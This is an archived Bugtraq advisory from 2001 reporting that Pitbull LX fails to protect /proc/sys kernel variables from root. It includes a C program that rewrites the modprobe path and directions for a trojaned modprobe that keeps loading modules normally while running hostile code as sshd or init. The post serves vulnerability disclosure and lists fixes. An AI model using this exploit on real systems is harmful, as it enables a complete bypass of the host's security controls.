[19953] in bugtraq
Serious Pitbull LX Vulnerability
daemon@ATHENA.MIT.EDU (Roland Postle)
Fri Mar 30 10:24:00 2001
MIME-Version: 1.0
Content-Type: text/plain; charset="iso-8859-1"
Content-Transfer-Encoding: 7bit
Message-ID: <004e01c0b8f8$177b2340$0100a8c0@beast>
Date: Fri, 30 Mar 2001 10:01:59 +0100
Reply-To: Roland Postle <mail@BLAZDE.CO.UK>
From: Roland Postle <mail@BLAZDE.CO.UK>
To: BUGTRAQ@SECURITYFOCUS.COM
Background:
Back in February, eWeek and Argus Systems held OpenHack III. "Pitbull vs The
Worlds Toughest". With much hype the contest came and went. The result? "17
days, 40,000 Challengers, 5.4 Million Punches and 1 E-Security Champion". As
'the first product to withstand an OpenHack unscathed' Pitbull LX received
an eWeek Excellence Award in a security category. See www.eweek.com for a
full report of the competition and award.
This month, for CeBit, the very same systems were put back online and for
one week the contest resumed (with prize money converted into DM). "A
Rematch". The result? The word I have is that there will be no official
press release. The website has even dissapeared. Well... Argus Systems are
happy with the coverage they recieved from OpenHack III. And so they should
be, Pitbull is a _very_ secure product. In my opinion, one of the very best
security solutions. It's used by many online banks. But not many product are
100% secure....
While the systems were still online, just hours after the end of the
contest, a vulnerability was exploited on the "DNS machine" running Pitbull
LX. Security was completely compromised, and a similar attack would have
been capable of claiming prize money at either OpenHack III or CeBit.
Info:
Vulnerable: PitBull LX (Pitbull For Linux), All versions
Not Vulnerable: PitBull Foundation .compack (Pitbull for Solaris and AIX),
All versions
Type: Non-Instantaneous Complete System Compromise
Local: Yes (Must be root)
Remote: No
Vulnerability:
The vulnerability stems from Pitbull LX's failure to apply it's enhanced
security features to all the kernel variables made available in /proc/sys/.
Although the file-system will restrict access to the /proc/sys/ directory,
all these variables can be accessed through calls to sysctl() which only
checks a processes standard unix credentials. Almost all the variables are
mode 644 or 444. So any user can read the kernel variables and a root user
can modify many of them. A process with uid 0, can thus bypass Pitbull and
modify some very sensitive kernel data. (If that last statement makes your
wonder what the problem is remember that "root means nothing on a Pitbull
system".)
Exploit:
By modifying kernel variables such as MaxFiles, MaxInodes and numerous
virtual memory settings system instability can be caused but much more
worringly ModProbePath can be altered to point to malicous code. When
modprobe is next execd in order to load a module, the malicous code will be
executed in the security context of the process which requested the module.
This may be another user, init or sshd for example. Init and sshd run
without the ASG_AWARE flag, so they are immune to all pitbull security.
Fortunately all kernel variables are reset at startup which is when the
majority of modules are loaded by init (ie. Before a user has chance to
modify modprobepath). However sshd will often attempt to load terminal
emulation/character set modules everytime a user connects to it.
The following program will modify modprobe's path:
#include <linux/unistd.h>
#include <linux/types.h>
#include <linux/sysctl.h>
_syscall1(int, _sysctl, struct __sysctl_args *, args);
int sysctl(int *name, int nlen, void *oldval, size_t *oldlenp, void *newval,
size_t newlen) {
struct __sysctl_args
args = {name, nlen, oldval, oldlenp, newval, newlen};
return _sysctl(&args);
}
int variablename[] = { CTL_KERN, KERN_MODPROBE };
char oldpath[512];
int oldpathlen = 512;
char path[512];
int pathlen = 512;
int main(int argc, char *argv[]) {
if(argc < 2) {
printf("Usage: %s NewModprobePath", argv[0]);
exit(0);
}
// Read kernel variable
sysctl(variablename, 2, oldpath, &oldpathlen, NULL, 0);
// Write kernel variable
sysctl(variablename, 2, path, &pathlen, argv[1], strlen(argv[1]));
printf("Old Path: %s, New Path %s\n", oldpath, argv[1]);
return 0;
}
N.B. The trojaned modprobe should call the real modprobe (usually in
/sbin/modprobe) with identical arguments except that argv[0] _must_ be
"modprobe" (or possibly "insmod") or else modprobe claims it is being
impersonated. This will ensure the relevant module still get's loaded.
Fixes:
An unoffical patch has been released which adds protection to a small number
of the (readonly) variables. Get it from support on www.argusrevolution.com.
Argus Systems have been notified of the bug and, although they were fairly
unresponsive, they did at least want to know what the bug was. Keep tabs on
www.argusrevolution.com for a full fix.
In the mean time, the exploit discussed above can be avoided by recompiling
the kernel without support for modules (drastic I know).
-= Blazde =- [Unofficial Defeator of Pitbull (Yeah I'm real bitter about
not gettin any prize money... but that's another story)]
